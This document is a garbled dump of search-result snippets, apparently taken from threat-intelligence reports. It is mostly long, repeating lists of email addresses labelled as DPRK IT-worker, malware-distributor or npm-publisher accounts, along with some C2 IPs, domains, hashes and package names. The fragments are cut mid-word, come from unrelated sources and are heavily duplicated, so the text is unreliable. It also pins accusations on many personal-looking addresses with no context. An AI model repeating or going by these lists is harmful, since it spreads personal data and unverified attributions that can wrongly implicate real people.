0.3.2 2025-08-04 05:33:08 jeffbennett862 jeffbennett862@gmail.com vite-plugin-uni-i18n 1.0.2 2025-08-25 13:11:03…","…solidpropertyadvisor33345@gmail.com springtownhomes83379@gmail.com stard8447@gmail.com suburbanhomeconnect16179@gmail.com summitpropertyagent07717@gmail.com sunnyvaleproperty44162@gmail.com sunnyviewhomes49110@gmail.com thecityhomesales97011@gmail.com…","…s050796@gmail.com steve264225@gmail.com stevenjobs207@gmail.com stevenwang615@gmail.com stresscontroller9@gmail.com strongdev1218@gmail.com sun.flight.shine@gmail.com sunlight2175@gmail.com sunnie.gpsh@gmail.com sunny95417@gmail.com sunnykan314@gmail.com sunshine950101@gmail.com super.star31305@gmail.com…","…strawberrymilk1025@gmail.com pinkstrawberrymilk1025@gmail.com luis.gamez1004@gmail.com cliff.luo226@gmail.com semochkomaksym@gmail.com sun.james1025@gmail.com coolguy.arber09@gmail.com arber.berisha995@gmail.com arber.berisha009@gmail.com millionsapphire@outlook.com derekdev2023@outlook.com…","…25@gmail.com stevenjobs207@gmail.com stevenwang615@gmail.com stresscontroller9@gmail.com strongdev1218@gmail.com sun.flight.shine@gmail.com sunlight2175@gmail.com sunnie.gpsh@gmail.com sunny95417@gmail.com sunnykan314@gmail.com sunshine950101@gmail.com super.star31305@gmail.com super20020417@skiff.com…","…densyaou@gmail.com - eliteknightgold@outlook.com - github.com/Hiccup19940325 - jamescharlie94@outlook.com - lainhong1205@gmail.com - sunmoonlee.19900113@outlook.com - sunmoonstar0319@outlook.com - superdev0292@gmail.com - zombie.eye.dev@gmail.com - ![](./laos-house.png) -…","…o.0113@gmail.com keinakano415@gmail.com lainhong1205@gmail.com jenson.collins@hotmail.com sunshineseo0614@gmail.com watanabeatari@gmail.com sunmoonlee.19900113@outlook.com johnpatch0502@outlook.com eliteknightgold@outlook.com superdev0292@gmail.com jamescharlie94@outlook.com denisleedragon@outlook.com ivandimo…","…github.com/Hiccup19940325 - jamescharlie94@outlook.com - lainhong1205@gmail.com - sunmoonlee.19900113@outlook.com - sunmoonstar0319@outlook.com - superdev0292@gmail.com - zombie.eye.dev@gmail.com - ![](./laos-house.png) - ![](./laos-football.png) -…","…Emails: johnmichael0325@outlook.com JohnMichaelMillen0325@outlook.com never08mind25@gmail.com seo.sigoto@gmail.com sunmoonstar0319@outlook.com blockchaindeveloper777@gmail.com seo.shigoto.001@gmail.com ivan.dimov.work@gmail.com kazune.takeda@yahoo.com densyaou@gmail.com zombie.eye.…","…207@gmail.com stevenwang615@gmail.com stresscontroller9@gmail.com strongdev1218@gmail.com sun.flight.shine@gmail.com sunlight2175@gmail.com sunnie.gpsh@gmail.com sunny95417@gmail.com sunnykan314@gmail.com sunshine950101@gmail.com super.star31305@gmail.com super20020417@skiff.com superbapple0@gmail.co…","…ng615@gmail.com stresscontroller9@gmail.com strongdev1218@gmail.com sun.flight.shine@gmail.com sunlight2175@gmail.com sunnie.gpsh@gmail.com sunny95417@gmail.com sunnykan314@gmail.com sunshine950101@gmail.com super.star31305@gmail.com super20020417@skiff.com superbapple0@gmail.com superbarca17@gmail.…","…scontroller9@gmail.com strongdev1218@gmail.com sun.flight.shine@gmail.com sunlight2175@gmail.com sunnie.gpsh@gmail.com sunny95417@gmail.com sunnykan314@gmail.com sunshine950101@gmail.com super.star31305@gmail.com super20020417@skiff.com superbapple0@gmail.com superbarca17@gmail.com superceo99@gmail.c…","…fullasher@gmail.com[email protected] cyberos999@gmail.com[email protected] odincui@gmail.com[email protected] sunnykan314@gmail.com[email protected] salbu15154@gmail.com[email protected] salbuvabybit@hotmail.com[email protected]…","…----------------------- Emails: intellichain555@gmail.com chainerspace@gmail.com fullasher@gmail.com cyberos999@gmail.com odincui@gmail.com sunnykan314@gmail.com salbu15154@gmail.com salbuvabybit@hotmail.com mykytadunaiev@outlook.com moktamd3@gmail.com Sites: github.com/intellichain555 Bells Inter…","…springtownhomes83379@gmail.com stard8447@gmail.com suburbanhomeconnect16179@gmail.com summitpropertyagent07717@gmail.com sunnyvaleproperty44162@gmail.com sunnyviewhomes49110@gmail.com thecityhomesales97011@gmail.com topchoicehomesconsult55882@gmail.com topflite5@freyaglam.shop…","…stard8447@gmail.com suburbanhomeconnect16179@gmail.com summitpropertyagent07717@gmail.com sunnyvaleproperty44162@gmail.com sunnyviewhomes49110@gmail.com thecityhomesales97011@gmail.com topchoicehomesconsult55882@gmail.com topflite5@freyaglam.shop topkeyrealestate99241@gmail.com…","…strongdev1218@gmail.com sun.flight.shine@gmail.com sunlight2175@gmail.com sunnie.gpsh@gmail.com sunny95417@gmail.com sunnykan314@gmail.com sunshine950101@gmail.com super.star31305@gmail.com super20020417@skiff.com superbapple0@gmail.com superbarca17@gmail.com superceo99@gmail.com superdev.9999@gmail.co…","…naokimurano@outlook.com #### Seo Sigoto - github.com/seosigoto - seo.shigoto.001@gmail.com - seo.sigoto@gmail.com #### Seo Kiwon - sunshineseo0614@gmail.com #### Steven Chen - stevechendragon@gmail.com - stevechendragon@outlook.com #### Ivan Dimov - ivan.dimov.work@gmail.com -…","…@gmail.com stevechendragon@outlook.com yamamotoziro.0113@gmail.com keinakano415@gmail.com lainhong1205@gmail.com jenson.collins@hotmail.com sunshineseo0614@gmail.com watanabeatari@gmail.com sunmoonlee.19900113@outlook.com johnpatch0502@outlook.com eliteknightgold@outlook.com superdev0292@gmail.com jamesc…","…Argentinian Facilitator 331 Email mitliza1@gmail.com julianseewald123@gmail.com stiegliz06@gmail.com kinchevaali@gmail.com sunsui2023@outlook.com kopytina111@outlook.com Akira.Ito0116@outlook.com Eddan_jiang@outlook.com elmakha224ar@outlook.com sebastian.93.e@hotmail.com…","…blockchaindev0227@gmail.com[email protected] sotaro.yoshimoto@gmail.com[email protected] super.dev1124@outlook.com[email protected] justin309w@outlook.com[email protected] proguardseo@gmail.com[email protected]…","…garciav.dev@gmail.com dragonfighter0115@outlook.com fullstackdev1006@gmail.com blockchaindev0227@gmail.com sotaro.yoshimoto@gmail.com super.dev1124@outlook.com justin309w@outlook.com proguardseo@gmail.com azduoedon@outlook.com supernova1111a@outlook.com myronenkoyaroslav4@gmail.com savonik.al…","…Munchables (2024) - NelsonMurua913 - albertomira1114 - super1114dev - sr.muruanelson@gmail.com - albertomira1114@gmail.com - super1114dev@gmail.com - github.com/NelsonMurua913 • [Archive](https://web.archive.org/web/20240327040031/https://github.com/nelsonmurua913) -…","…jsontoken-extend 2026-04-17 live registry adsila000@outlook.com levex-press 2026-03-23 live registry super1114dev@gmail.com levex-refa - - npm@npmjs.com lint-null 2026-04-13 live registry a.yal.a.da.ve7@gmail.com log-upgrade…","…{\"id\":\"95b510313f1d166d\",\"type\":\"text\",\"text\":\"super1114dev@gmail.com\",\"x\":-1710,\"y\":6160,\"width\":250,\"height\":60,\"color\":\"4\"}, {\"id\":\"d6cf06f0192d41d6\",\"type\":\"text\",\"text\":\"- [Formerly…","…sunlight2175@gmail.com sunnie.gpsh@gmail.com sunny95417@gmail.com sunnykan314@gmail.com sunshine950101@gmail.com super.star31305@gmail.com super20020417@skiff.com superbapple0@gmail.com superbarca17@gmail.com superceo99@gmail.com superdev.9999@gmail.com superdev9012@gmail.com superdev919@gmail.com sup…","…sunnie.gpsh@gmail.com sunny95417@gmail.com sunnykan314@gmail.com sunshine950101@gmail.com super.star31305@gmail.com super20020417@skiff.com superbapple0@gmail.com superbarca17@gmail.com superceo99@gmail.com superdev.9999@gmail.com superdev9012@gmail.com superdev919@gmail.com superdevbrian@gmail.com su…","…unny95417@gmail.com sunnykan314@gmail.com sunshine950101@gmail.com super.star31305@gmail.com super20020417@skiff.com superbapple0@gmail.com superbarca17@gmail.com superceo99@gmail.com superdev.9999@gmail.com superdev9012@gmail.com superdev919@gmail.com superdevbrian@gmail.com superdeveloper31@gmail.co…","…nykan314@gmail.com sunshine950101@gmail.com super.star31305@gmail.com super20020417@skiff.com superbapple0@gmail.com superbarca17@gmail.com superceo99@gmail.com superdev.9999@gmail.com superdev9012@gmail.com superdev919@gmail.com superdevbrian@gmail.com superdeveloper31@gmail.com superdevpro123@gmai…","…grace107jobs@gmail.com abdulrahman.nasser.hr@gmail.com marthamoon014@gmail.com sofia.helman@outlook.com supercrazybug.team@gmail.com maryanaaaa.hrteam@gmail.com topdev0921@gmail.com natalie.dev.hr@gmail.com Malicious Bitbucket Repositories #…","…in Review ruslanlarionov77@gmail.com email malware N/A September 2025 DPRK malware distributor GitLab.com account Year in Review superdev@outlook.com.au email malware N/A September 2025 DPRK malware distributor GitLab.com account Year in Review cristhianmartinezrom7@gmail.com email…","…ster@outlook.com raikovskyi830@gmail.com ranko746.dev@gmail.com ripaelit1111@gmail.com smartdev531@gmail.com starmastar1126@gmail.com superdev00527@gmail.com tech.veteran71@gmail.com ubiuquitosutrusty@gmail.com web.fan.0509@gmail.com GitHub Indicators…","…jamescharlie94@outlook.com - lainhong1205@gmail.com - sunmoonlee.19900113@outlook.com - sunmoonstar0319@outlook.com - superdev0292@gmail.com - zombie.eye.dev@gmail.com - ![](./laos-house.png) - ![](./laos-football.png) - ![](./jenson-collins-01.png) -…","…johnpatch0502@outlook.com[email protected] eliteknightgold@outlook.com[email protected] superdev0292@gmail.com[email protected] jamescharlie94@outlook.com[email protected] denisleedragon@outlook.com[email protected]…","…com sunshineseo0614@gmail.com watanabeatari@gmail.com sunmoonlee.19900113@outlook.com johnpatch0502@outlook.com eliteknightgold@outlook.com superdev0292@gmail.com jamescharlie94@outlook.com denisleedragon@outlook.com ivandimov921016@outlook.com ZachXBT…","…: \"AtosDev\" \"email\" : \"cloverdev88@gmail.com\" , \"name\" : \"AtosDev\" \"email\" : \"cloverdev88@gmail.com\" , \"name\" : \"unknown\" \"email\" : \"superdev4837@gmail.com\" , \"name\" : \"superdev4837\" Contributors to jewelas repositories: monster223223, Dima0dev (Other identity of SonataM/CrazyDev000,…","…uper.star31305@gmail.com super20020417@skiff.com superbapple0@gmail.com superbarca17@gmail.com superceo99@gmail.com superdev.9999@gmail.com superdev9012@gmail.com superdev919@gmail.com superdevbrian@gmail.com superdeveloper31@gmail.com superdevpro123@gmail.com supereaglehunter@gmail.com superguru0802@…","…m super20020417@skiff.com superbapple0@gmail.com superbarca17@gmail.com superceo99@gmail.com superdev.9999@gmail.com superdev9012@gmail.com superdev919@gmail.com superdevbrian@gmail.com superdeveloper31@gmail.com superdevpro123@gmail.com supereaglehunter@gmail.com superguru0802@gmail.com superk961106…","…nshine950101@gmail.com super.star31305@gmail.com super20020417@skiff.com superbapple0@gmail.com superbarca17@gmail.com superceo99@gmail.com superdev.9999@gmail.com superdev9012@gmail.com superdev919@gmail.com superdevbrian@gmail.com superdeveloper31@gmail.com superdevpro123@gmail.com supereaglehunter@g…","…com superbapple0@gmail.com superbarca17@gmail.com superceo99@gmail.com superdev.9999@gmail.com superdev9012@gmail.com superdev919@gmail.com superdevbrian@gmail.com superdeveloper31@gmail.com superdevpro123@gmail.com supereaglehunter@gmail.com superguru0802@gmail.com superk961106@gmail.com supernames091…","…om superbarca17@gmail.com superceo99@gmail.com superdev.9999@gmail.com superdev9012@gmail.com superdev919@gmail.com superdevbrian@gmail.com superdeveloper31@gmail.com superdevpro123@gmail.com supereaglehunter@gmail.com superguru0802@gmail.com superk961106@gmail.com supernames0910@gmail.com superora0518@gm…","…uperceo99@gmail.com superdev.9999@gmail.com superdev9012@gmail.com superdev919@gmail.com superdevbrian@gmail.com superdeveloper31@gmail.com superdevpro123@gmail.com supereaglehunter@gmail.com superguru0802@gmail.com superk961106@gmail.com supernames0910@gmail.com superora0518@gmail.com superspider579@gm…","…During the investigation, I found that vasyl.chow@gmail.com had setup their recovery email as supereaglehunter@gmail.com , which are in the same list. By checking out the emails, I came across a North Korean IT Worker’s following Github profile: North…","…9012@gmail.com superdev919@gmail.com superdevbrian@gmail.com superdeveloper31@gmail.com superdevpro123@gmail.com supereaglehunter@gmail.com superguru0802@gmail.com superk961106@gmail.com supernames0910@gmail.com superora0518@gmail.com superspider579@gmail.com superstar0601.dev@gmail.com suptalentdev@gm…","…19@gmail.com superdevbrian@gmail.com superdeveloper31@gmail.com superdevpro123@gmail.com supereaglehunter@gmail.com superguru0802@gmail.com superk961106@gmail.com supernames0910@gmail.com superora0518@gmail.com superspider579@gmail.com superstar0601.dev@gmail.com suptalentdev@gmail.com svendev128@outl…","…LLC From Vientiane to Vladivostok (Laos, Russia) Emails: --------------------------------- thongloundevsoft717@gmail.com supermutec11@outlook.com supermutec12@outlook.com pisoft314@gmail.com IPs: --------------------------------- 183.182.105.91 Contact…","…to Vladivostok (Laos, Russia) Emails: --------------------------------- thongloundevsoft717@gmail.com supermutec11@outlook.com supermutec12@outlook.com pisoft314@gmail.com IPs: --------------------------------- 183.182.105.91 Contact Us Email:…","…ian@gmail.com superdeveloper31@gmail.com superdevpro123@gmail.com supereaglehunter@gmail.com superguru0802@gmail.com superk961106@gmail.com supernames0910@gmail.com superora0518@gmail.com superspider579@gmail.com superstar0601.dev@gmail.com suptalentdev@gmail.com svendev128@outlook.com svendev520@gmail.…","…developer accounts Year in Review walterjgould77@gmail.com email malware N/A N/A DPRK malware developer accounts Year in Review supernftier@gmail.com email malware N/A N/A DPRK malware developer accounts Year in Review bohuslavskyir@gmail.com email malware N/A N/A DPRK malware…","…227@gmail.com sotaro.yoshimoto@gmail.com super.dev1124@outlook.com justin309w@outlook.com proguardseo@gmail.com azduoedon@outlook.com supernova1111a@outlook.com myronenkoyaroslav4@gmail.com savonik.alina00@gmail.com blacktigerbusinesswork@outlook.com nick2022lane@gmail.com yellowstrawberrymilk@…","…per31@gmail.com superdevpro123@gmail.com supereaglehunter@gmail.com superguru0802@gmail.com superk961106@gmail.com supernames0910@gmail.com superora0518@gmail.com superspider579@gmail.com superstar0601.dev@gmail.com suptalentdev@gmail.com svendev128@outlook.com svendev520@gmail.com swan21213@gmail.com…","…vpro123@gmail.com supereaglehunter@gmail.com superguru0802@gmail.com superk961106@gmail.com supernames0910@gmail.com superora0518@gmail.com superspider579@gmail.com superstar0601.dev@gmail.com suptalentdev@gmail.com svendev128@outlook.com svendev520@gmail.com swan21213@gmail.com sweetdev700@gmail.com t.…","…glehunter@gmail.com superguru0802@gmail.com superk961106@gmail.com supernames0910@gmail.com superora0518@gmail.com superspider579@gmail.com superstar0601.dev@gmail.com suptalentdev@gmail.com svendev128@outlook.com svendev520@gmail.com swan21213@gmail.com sweetdev700@gmail.com t.t.first.dev@gmail.com t3ljz1…","…sun.flight.shine@gmail.com sunlight2175@gmail.com sunnie.gpsh@gmail.com sunny95417@gmail.com sunnykan314@gmail.com sunshine950101@gmail.com super.star31305@gmail.com super20020417@skiff.com superbapple0@gmail.com superbarca17@gmail.com superceo99@gmail.com superdev.9999@gmail.com superdev9012@gmail.com s…","…email insider N/A N/A Threat actor-controlled email 1 su0220@outlook.com email insider N/A N/A Threat actor-controlled email 1 superth55@gmail.com email insider N/A N/A Threat actor-controlled email 1 truelife3188@gmail.com email insider N/A N/A Threat actor-controlled email 1…","…2026-09-01 and 2026-10-01 later earlier Released Package IOCs 2026-09-30 dotenv-async (1.0.0) 2026-09-30 ajbsdiansd <supgeowy3r@anogz.com> 07c071af6889b09f011fd445921a4d2629d52fbf423dabc0a28f81b2cb6af057 c603a9d04709f277ae7057150019db50d4d9721b87bad0da46013b92fe8e4723…","…b01c59ae0a76527503799aab109bd701e34f260d192722a8cf12c97a4e6d208c 2026-09-30 dotenv-async (1.0.0) 2026-09-30 ajbsdiansd <supgeowy3r@anogz.com> 07c071af6889b09f011fd445921a4d2629d52fbf423dabc0a28f81b2cb6af057 c603a9d04709f277ae7057150019db50d4d9721b87bad0da46013b92fe8e4723…","…repository shrisrivastava2@gmail.com Commits to malicious repository smartpayauthor@gmail.com Commits to malicious repository suportemtng@gmail.com Commits to malicious repository suyog.ep@gmail.com Commits to malicious repository thedeepak1357@gmail.com Commits to malicious…","…u0802@gmail.com superk961106@gmail.com supernames0910@gmail.com superora0518@gmail.com superspider579@gmail.com superstar0601.dev@gmail.com suptalentdev@gmail.com svendev128@outlook.com svendev520@gmail.com swan21213@gmail.com sweetdev700@gmail.com t.t.first.dev@gmail.com t3ljz1kp@greentim1086.anonadd…","…91.92.120.132:80/uploads Threat Actor Identifiers : npm username: yolorabbit email used to register npm username: surprise.eng000@gmail.com MITRE ATT&CK Techniques # T1195.002 — Supply Chain Compromise: Compromise Software Supply Chain T1608.001 — Stage…","…Year in Review seed1996015@outlook.com email malware N/A September 2025 DPRK malware distributor GitLab.com account Year in Review suryaedg88@hotmail.com email malware N/A September 2025 DPRK malware distributor GitLab.com account Year in Review maurostaver9@gmail.com email malware N/A…","…61106@gmail.com supernames0910@gmail.com superora0518@gmail.com superspider579@gmail.com superstar0601.dev@gmail.com suptalentdev@gmail.com svendev128@outlook.com svendev520@gmail.com swan21213@gmail.com sweetdev700@gmail.com t.t.first.dev@gmail.com t3ljz1kp@greentim1086.anonaddy.com tadahashi0820@gma…","…mes0910@gmail.com superora0518@gmail.com superspider579@gmail.com superstar0601.dev@gmail.com suptalentdev@gmail.com svendev128@outlook.com svendev520@gmail.com swan21213@gmail.com sweetdev700@gmail.com t.t.first.dev@gmail.com t3ljz1kp@greentim1086.anonaddy.com tadahashi0820@gmail.com tadashishin120…","…erora0518@gmail.com superspider579@gmail.com superstar0601.dev@gmail.com suptalentdev@gmail.com svendev128@outlook.com svendev520@gmail.com swan21213@gmail.com sweetdev700@gmail.com t.t.first.dev@gmail.com t3ljz1kp@greentim1086.anonaddy.com tadahashi0820@gmail.com tadashishin1209@gmail.com taej.lee…","…superspider579@gmail.com superstar0601.dev@gmail.com suptalentdev@gmail.com svendev128@outlook.com svendev520@gmail.com swan21213@gmail.com sweetdev700@gmail.com t.t.first.dev@gmail.com t3ljz1kp@greentim1086.anonaddy.com tadahashi0820@gmail.com tadashishin1209@gmail.com taej.lee0926@gmail.com taichik…","…il.com suptalentdev@gmail.com svendev128@outlook.com svendev520@gmail.com swan21213@gmail.com sweetdev700@gmail.com t.t.first.dev@gmail.com t3ljz1kp@greentim1086.anonaddy.com tadahashi0820@gmail.com tadashishin1209@gmail.com taej.lee0926@gmail.com taichikato1106@gmail.com tajh.harold@minofangle.org takahasihideo.…","…Year in Review rochaevertondev@gmail.com email malware N/A September 2025 DPRK malware distributor GitLab.com account Year in Review tabishhassan01998@gmail.com email malware N/A September 2025 DPRK malware distributor GitLab.com account Year in Review temorexviashvili17@gmail.com email malware…","…ev128@outlook.com svendev520@gmail.com swan21213@gmail.com sweetdev700@gmail.com t.t.first.dev@gmail.com t3ljz1kp@greentim1086.anonaddy.com tadahashi0820@gmail.com tadashishin1209@gmail.com taej.lee0926@gmail.com taichikato1106@gmail.com tajh.harold@minofangle.org takahasihideo.dev@gmail.com takayamasi…","…v520@gmail.com swan21213@gmail.com sweetdev700@gmail.com t.t.first.dev@gmail.com t3ljz1kp@greentim1086.anonaddy.com tadahashi0820@gmail.com tadashishin1209@gmail.com taej.lee0926@gmail.com taichikato1106@gmail.com tajh.harold@minofangle.org takahasihideo.dev@gmail.com takayamasibi111@gmail.com takica3622…","…mail.com sweetdev700@gmail.com t.t.first.dev@gmail.com t3ljz1kp@greentim1086.anonaddy.com tadahashi0820@gmail.com tadashishin1209@gmail.com taej.lee0926@gmail.com taichikato1106@gmail.com tajh.harold@minofangle.org takahasihideo.dev@gmail.com takayamasibi111@gmail.com takica3622@cyclesat.com takus.sup…","…developer accounts Year in Review sonniehutley5@gmail.com email malware N/A N/A DPRK malware developer accounts Year in Review tagi238761@gmail.com email malware N/A N/A DPRK malware developer accounts Year in Review vlulepet9@gmail.com email malware N/A N/A DPRK malware developer…","…ail.com t.t.first.dev@gmail.com t3ljz1kp@greentim1086.anonaddy.com tadahashi0820@gmail.com tadashishin1209@gmail.com taej.lee0926@gmail.com taichikato1106@gmail.com tajh.harold@minofangle.org takahasihideo.dev@gmail.com takayamasibi111@gmail.com takica3622@cyclesat.com takus.superdev@gmail.com talentd12…","…il.com t3ljz1kp@greentim1086.anonaddy.com tadahashi0820@gmail.com tadashishin1209@gmail.com taej.lee0926@gmail.com taichikato1106@gmail.com tajh.harold@minofangle.org takahasihideo.dev@gmail.com takayamasibi111@gmail.com takica3622@cyclesat.com takus.superdev@gmail.com talentd1223@gmail.com talentdevservi…","…6.anonaddy.com tadahashi0820@gmail.com tadashishin1209@gmail.com taej.lee0926@gmail.com taichikato1106@gmail.com tajh.harold@minofangle.org takahasihideo.dev@gmail.com takayamasibi111@gmail.com takica3622@cyclesat.com takus.superdev@gmail.com talentd1223@gmail.com talentdevservice@gmail.com talentdevservic…","…- danylo.lee316@gmail.com - keithnelson0426@gmail.com - legendary0118dev@gmail.com - strongdragon036@gmail.com - takao.kamio@brandcode.dev - takao.kamio@hyma.io - ucas0holm@gmail.com - 0xbde74c526ba2523b729b2f2a20676e58e189d745 -…","…keithnelson0426@gmail.com - legendary0118dev@gmail.com - strongdragon036@gmail.com - takao.kamio@brandcode.dev - takao.kamio@hyma.io - ucas0holm@gmail.com - 0xbde74c526ba2523b729b2f2a20676e58e189d745 - 0x0a8946a37b1e971e70b4ffa5852a1d6e3cdbb597 -…","…@gmail.com tadashishin1209@gmail.com taej.lee0926@gmail.com taichikato1106@gmail.com tajh.harold@minofangle.org takahasihideo.dev@gmail.com takayamasibi111@gmail.com takica3622@cyclesat.com takus.superdev@gmail.com talentd1223@gmail.com talentdevservice@gmail.com talentdevservice@skiff.com talenteddev012…","…@gmail.com taej.lee0926@gmail.com taichikato1106@gmail.com tajh.harold@minofangle.org takahasihideo.dev@gmail.com takayamasibi111@gmail.com takica3622@cyclesat.com takus.superdev@gmail.com talentd1223@gmail.com talentdevservice@gmail.com talentdevservice@skiff.com talenteddev0125@gmail.com talentwebsni…","…gmail.com taichikato1106@gmail.com tajh.harold@minofangle.org takahasihideo.dev@gmail.com takayamasibi111@gmail.com takica3622@cyclesat.com takus.superdev@gmail.com talentd1223@gmail.com talentdevservice@gmail.com talentdevservice@skiff.com talenteddev0125@gmail.com talentwebsniper@gmail.com talentz1223…","…vincenzagiorgi6@gmail.com pwlkjakub@gmail.com gru.dev259007@gmail.com toptall.cook@gmail.com kallis0312@gmail.com takutic.tech518@gmail.com williamduncan91413@gmail.com Identities Lucas Chang Hiroto Iwaki Taku Yamamoto Motoki Masuo Aiden Wong Ruslan…","…2026-09-01 vitest-cli-pro (10.0.7) 2026-09-01 claritev.health <talent@onez.it.com> api.jsonbin.io https://api.jsonbin.io/v3/b/6a62bc86da38895dfe879659…","…gmail.com tajh.harold@minofangle.org takahasihideo.dev@gmail.com takayamasibi111@gmail.com takica3622@cyclesat.com takus.superdev@gmail.com talentd1223@gmail.com talentdevservice@gmail.com talentdevservice@skiff.com talenteddev0125@gmail.com talentwebsniper@gmail.com talentz1223@gmail.com tanyaburns9…","…donatelo212dunccine@gmail.com - ernestpapyan@gmail.com - topsmartpro@prolocalize.com - yatsukalbert@outlook.com - talentdev610@gmail.com - leonpower123@outlook.com - oskardev0112@gmail.com - 88yurchak@gmail.com - github.com/brent-jeremy - github.com/Smart-Dev-0205 -…","…12@gmail.com ma.liguo@outlook.com donatelo212dunccine@gmail.com ernestpapyan@gmail.com topsmartpro@prolocalize.com yatsukalbert@outlook.com talentdev610@gmail.com leonpower123@outlook.com oskardev0112@gmail.com 88yurchak@gmail.com Github: https://github.com/brent-jeremy https://github.com/Smart-Dev-0…","…minofangle.org takahasihideo.dev@gmail.com takayamasibi111@gmail.com takica3622@cyclesat.com takus.superdev@gmail.com talentd1223@gmail.com talentdevservice@gmail.com talentdevservice@skiff.com talenteddev0125@gmail.com talentwebsniper@gmail.com talentz1223@gmail.com tanyaburns9066@gmail.com taronir908@de…","…o.dev@gmail.com takayamasibi111@gmail.com takica3622@cyclesat.com takus.superdev@gmail.com talentd1223@gmail.com talentdevservice@gmail.com talentdevservice@skiff.com talenteddev0125@gmail.com talentwebsniper@gmail.com talentz1223@gmail.com tanyaburns9066@gmail.com taronir908@dewareff.com tarosasada680@gm…","…i111@gmail.com takica3622@cyclesat.com takus.superdev@gmail.com talentd1223@gmail.com talentdevservice@gmail.com talentdevservice@skiff.com talenteddev0125@gmail.com talentwebsniper@gmail.com talentz1223@gmail.com tanyaburns9066@gmail.com taronir908@dewareff.com tarosasada680@gmail.com taylor.levit92@gma…","…@outlook.com romancondo1278@outlook.com safranov512@yahoo.com slavomir829@hotmail.com slavomir829612@hotmail.com slavomir829612@outlook.com talenteddeveloper098@gmail.com hrachya1995dev@gmail.com hrachya1995dev@outlook.com ivanyanhrach1995@gmail.com ivanyanch19891111@gmail.com shyam6191@gmail.com Socials: --…","…IP: 223.165.6.13 - gombau1212@gmail.com - jbangbang1122@gmail.com - johnkalp1106@gmail.com - fairyland0926@gmail.com - talenteddolphin619@gmail.com - https://x.com/browsercookies/status/1932956578090770818 - ![](./1932956578090770818-1.png) - ![](./1932956578090770818-2.png) -…","…cyclesat.com takus.superdev@gmail.com talentd1223@gmail.com talentdevservice@gmail.com talentdevservice@skiff.com talenteddev0125@gmail.com talentwebsniper@gmail.com talentz1223@gmail.com tanyaburns9066@gmail.com taronir908@dewareff.com tarosasada680@gmail.com taylor.levit92@gmail.com techbush.dev@gmail.…","…v@gmail.com talentd1223@gmail.com talentdevservice@gmail.com talentdevservice@skiff.com talenteddev0125@gmail.com talentwebsniper@gmail.com talentz1223@gmail.com tanyaburns9066@gmail.com taronir908@dewareff.com tarosasada680@gmail.com taylor.levit92@gmail.com techbush.dev@gmail.com techking5287@gmail…","…분석 과정에서 확인된 공격자의 이메일 주소는 다음과 같다. tanessha.samuel@gmail.com tianling0315@gmail.com w.sarah0808@gmail.com softpower21cs@gmail.com ASEC에서는 자사 블로그를 통해 악성 바로 가기 파일에 대해 꾸준히 공유해 온 만큼 해당 악성코드의 유포가…","…The email addresses of the threat actor identified during the analysis process are as follows. tanessha.samuel@gmail.com tianling0315@gmail.com w.sarah0808@gmail.com softpower21cs@gmail.com Through its blog, ASEC has been consistently sharing…","…● C2 172.86.115.125 141.164.60.25 mailattachmentimageurlxyz.site imagedownloadsupport.com tianling0315@gmail.com tanessha.samuel@gmail.com 이 글 공유하기 Facebook LinkedIn Email…","…Cyber Reconnaissance Activities Attributed to APT37 ,” disclosed five Gmail accounts used by the threat actor. Gmail Addresses tanessha.samuel@gmail.com tianling0315@gmail.com w.sarah0808@gmail.com softpower21cs@gmail.com sandozmessi@gmail.com ○ Username searches based on…","…식별됐던 대표적인 이메일 계정은 다음과 같습니다. tanessha.samuel@gmail.com tianling0315@gmail.com w.sarah0808@gmail.com softpower21cs@gmail.com sandozmessi@gmail.com ○ 'panic.dat' 파일은 Shellcode 루틴을 통해 암호화된…","…위협 배후 연관성 Yandex 클라우드 로그인 계정으로 사용된 tanessha.samuel은 ' 작전명 토이박스 스토리 '에서 식별된 pCloud 가입 계정(tanessha.samuel@gmail.com)과 동일한 사용자 ID를 공유하고 있습니다.…","…○ 한편, 2024년 11월 06일 ' APT37 위협 배후의 사이버 정찰 활동 분석 ' 보고서를 통해 위협 행위자가 사용한 5개의 구글 지메일 계정이 공개된 바 있습니다. 지메일(Gmail) 주소 tanessha.samuel@gmail.com tianling0315@gmail.com w.sarah0808@gmail.com softpower21cs@gmail.com sandozmessi@gmail.com ○ 얀덱스 이메일에 사용된 아이디를 검색하면, 동일 이름의 링크드인…","…3@gmail.com talentdevservice@gmail.com talentdevservice@skiff.com talenteddev0125@gmail.com talentwebsniper@gmail.com talentz1223@gmail.com tanyaburns9066@gmail.com taronir908@dewareff.com tarosasada680@gmail.com taylor.levit92@gmail.com techbush.dev@gmail.com techking5287@gmail.com techninjas514@gmail.…","…account Year in Review meftaht531@gmail.com email malware N/A July 2025 DPRK malware distributor GitLab.com account Year in Review tapiasamjann@gmail.com email malware N/A July 2025 DPRK malware distributor GitLab.com account Year in Review johnwatson2327a@gmail.com email malware N/A July…","…in Review stefan.moleski@mail.io email malware N/A N/A Used for malware distribution on freelance developer platforms Year in Review taraslysenko@mail.io email malware N/A N/A DPRK malware developer accounts Year in Review corresol28@gmail.com email malware N/A N/A DPRK malware developer…","…ice@gmail.com talentdevservice@skiff.com talenteddev0125@gmail.com talentwebsniper@gmail.com talentz1223@gmail.com tanyaburns9066@gmail.com taronir908@dewareff.com tarosasada680@gmail.com taylor.levit92@gmail.com techbush.dev@gmail.com techking5287@gmail.com techninjas514@gmail.com techrub710@gmail.com…","…ervice@skiff.com talenteddev0125@gmail.com talentwebsniper@gmail.com talentz1223@gmail.com tanyaburns9066@gmail.com taronir908@dewareff.com tarosasada680@gmail.com taylor.levit92@gmail.com techbush.dev@gmail.com techking5287@gmail.com techninjas514@gmail.com techrub710@gmail.com teddybear0259@gmail.com…","…2026-09-18 tailwind-form-styles (0.5.1) 2026-09-18 tasiti3383 <tasiti3383@meonvr.com> stapi.io h.drpc.org e.com et 1r www.w3.org https://et https://1r http://www.w3.org/2000/svg…","…(used to authenticate to Gate.com during active drain sessions in February 2026), techwithfiazofficial@gmail.com[email protected] , taunsavi8@gmail.com[email protected] , ser583722@gmail.com[email protected] , and freelancer1235khan@gmail.com[email protected] .…","…ddev0125@gmail.com talentwebsniper@gmail.com talentz1223@gmail.com tanyaburns9066@gmail.com taronir908@dewareff.com tarosasada680@gmail.com taylor.levit92@gmail.com techbush.dev@gmail.com techking5287@gmail.com techninjas514@gmail.com techrub710@gmail.com teddybear0259@gmail.com teddybrown0225@gmail.com…","…2026 sophiareed@hr.onoplanoai.ink Email address Attacker-controlled email address May 2026 taylorzhang@hr.pulsynk.org] Email address Attacker-controlled email address May 2026 dalbir@empowerpharmacy.space Email…","…light.oa17@gmail.com - mmarjs22@gmail.com 